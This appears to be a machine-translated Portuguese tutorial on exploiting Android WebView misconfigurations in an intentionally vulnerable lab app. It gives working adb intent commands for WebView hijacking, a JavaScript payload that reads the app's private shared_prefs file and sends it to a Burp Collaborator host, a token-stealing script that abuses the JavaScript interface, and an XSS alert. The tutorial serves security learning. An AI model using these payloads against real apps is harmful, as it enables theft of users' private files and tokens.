O que é o WebView?

A classe é uma extensão da classe do Android que permite exibir páginas da Web como parte do seu layout de atividade. Ele não inclui nenhum recurso de um navegador da Web totalmente desenvolvido, como controles de navegação ou uma barra de endereços. Tudo o que faz, por padrão, é mostrar uma página web.WebViewViewWebView

image

Para testes, usaremos o aplicativo de webview vulnerável para aprender a explorar manualmente o webview no aplicativo para Android. As credenciais para o login são nome de usuário:vuln e senha:webview (caso precisemos.)

image

aplicativo WebView vulnerável

WebViews são exportados

Antes de entrar na vulnerabilidade, precisamos ter certeza de que o WebViews faz parte do nosso aplicativo-alvo. Como o WebViews faz parte das atividades em um aplicativo, precisamos des compilar um apk para passar pelo Arquivo AndroidManifest.xml e as Atividades do aplicativo para verificar a presença do WebView vulnerável.

Vamos primeiro carregar nossa aplicação no de-compilador Jadx para analisar o manifesto e as atividades.

image

Agora, vamos ver quais são os componentes que são exportados. podemos concluir que um componente é exportado de 2 maneiras.

  • Se o componente declarar explicitamente o atributo “exportado=true”
  • Se o componente tiver filtros de intenção e nenhum atributo “exportado=falso”

image

alguns dos componentes SupportWebView, RegistrationWebView são explicitamente exportados e o MainActivity é exportado mencionando filtros de intenção pelos quais podemos confirmar que o WebViews está sendo usado pelo aplicativo.

image

Podemos ver que a função loadWebView, está carregando a url recebendo a string da intenção.

image

código webview

Assim, esse comportamento pode ser explorado por aplicativos de terceiros enviando uma intenção para este componente com uma sequência de url e o aplicativo de destino aceitará e executará como este componente foi exportado. ou seja, aplicativo de terceiros tem acesso ao componente webview no aplicativo de destino.

Exploração

Usaremos o ADB para enviar uma intenção ao componente e essa intenção abrirá uma página web maliciosa fornecida pelo invasor no contexto do aplicativo.

adb shell am start -n componentname --es string "domain.com"

adb shell para iniciar shell exclusivo em um dispositivo, am (gerenciador de atividades) iniciar, -n nome do componente, — es string extra seguido pela url. Assim, nosso adb cmd será como segue:

adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "https://3kal.medium.com"

image

enviando intenção para webviews

image

webview carregado com url atacante

NOTA: A maneira acima só funciona se o componente for exportado diretamente e isso não funcionar para componentes exportados por filtro de intenção.

conjuntoAllowUniversalAccessFromFileURLs habilitados para WebView

Outra configuração que o desenvolvedor pode configurar é permitir que o JavaScript seja executado dentro do contexto da URL do esquema de arquivos para acessar conteúdo de qualquer origem, incluindo outros URLs de esquema de arquivos.

Esta configuração remove todas as mesmas restrições de política de origem e permite que o webview faça solicitações à web a partir do arquivo que normalmente não é possível. ou seja, o Atacante pode ler arquivos locais usando o script java e enviá-los pela web para um domínio controlado pelo invasor.

Se o WebView for exportado, esse comportamento pode ser muito perigoso porque pode permitir que o invasor leia arquivos arbitrários que podem ser privados para o aplicativo.

image

conjuntoAllowUniversalAccessFromFileURLs

Exploração

Agora vamos ver como explorar essa configuração que foi usada no aplicativo acima.

image

conjuntoAllowUniversalAccessFromFileURLs

Agora, vamos criar a exploração para a vulnerabilidade no script java como discutido nos detalhes de vulnerabilidade.

Eu usei meu link de colaborador arroto para obter o conteúdo, você pode usar o que for útil para você.

<script>
    var url = 'file:///data/data/com.tmh.vulnwebview/shared_prefs/MainActivity.xml'; //local file
function load(url) {
        var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
            if (xhr.readyState === 4) {
            fetch('https://8ktm71h4wjnqo72wgqbzvnr7jypodd.burpcollaborator.net/?exfiltrated=' + btoa(xhr.responseText)); //send b64 encoded file to attacker
            }
        }
xhr.open('GET', url, true);
        xhr.send('');
    }
load(url)
</script>

image

Exploração arbitrária de leitura de arquivos

Adicione o código acima ao sauafu.html e mova o arquivo para o sdcard usando adb.

image

empurrar explorar em dispositivo

Explorar carrega o conteúdo do arquivo local e devolve-o à url do invasor.

Agora execute a intenção com o arquivo de exploração.

adb shell am start -n com.tmh.vulnwebview/.RegistrationWebView --es reg_url "file:///sdcard/sauafu.html"

image

lançamento de intenção

image

página de registro vazia

Agora deveríamos ter recebido conteúdo de arquivo codificado na base 64 no colaborador do arroto ou o que você usou.

image

explorar poc

Podemos ver o conteúdo decodificado do arquivo que foi recebido na base 64 codificada na caixa da janela direita.

JavaScript ativado com interface para WebView

Os desenvolvedores podem habilitar o script java no webview adicionando essa configuração

webView.getSettings().setJavaScriptEnabled(true);

A adição desta configuração cria uma interface entre o script java da página web e o código java do lado do cliente do aplicativo. ou seja, o script java da página da Web pode acessar e injetar código java no aplicativo.

webView.addJavascriptInterface(new WebAppInterface(this), "Android"); 

se essa atividade for exportada, isso pode ser perigoso e permite que um invasor realize muitos ataques, incluindo XSS e roubando tokens do aplicativo.

Exploração

Para exploração deste cenário, não podemos fazer uso do mesmo Web View que acima, uma vez que ele não faz uso de interface. Assim, usaremos algum outro webView que tenha usado a interface.

image

webview de suporte

podemos usar o webview de suporte, pois você pode ver que o script java foi ativado juntamente com o uso da interface com o nome Android.

image

declaração de interface

<script type="text/javascript">
document.write("token: " + Android.getUserToken());
</script>

Este script grava o token gerando a partir do método getUserToken() a partir do objeto Android que era o nome da interface.

Hospede este script do servidor apache e conecte a porta 80 a ngrok para obter o link https (links http não podem ser usados).

sudo service apache2 start
./ngrok http 80
and use https ngrok link
adb shell am start -n com.tmh.vulnwebview/.Supportwebview --es support_url "https://8d95c0fe086f.ngrok.io/token.html"

image

intenção

image

token roubo

Podemos mostrar o alerta XSS apenas substituindo a linha document.write no código javascript acima por sua carga favorita xss.

<script type="text/javascript">
alert("kal");
</script>

image

Alerta XSS.

Cobrimos 4 vulnerabilidades relacionadas ao WebViews

  • WebView exportado (WebView Hijacking)
  • O acesso universal de arquivos do arquivo está ativado para WebView (Roubo de Arquivos)
  • Uso do setJavaScript Ativado (XSS)
  • Interface Javascript (roubo de token)

Nota: A maioria foi tirada como é do vídeo de Farah Hawa no youtube. Todos os créditos vão para ela, se você gosta do conteúdo, então por favor, assista ao vídeo e goste.


Autor: Kal

Artigo Original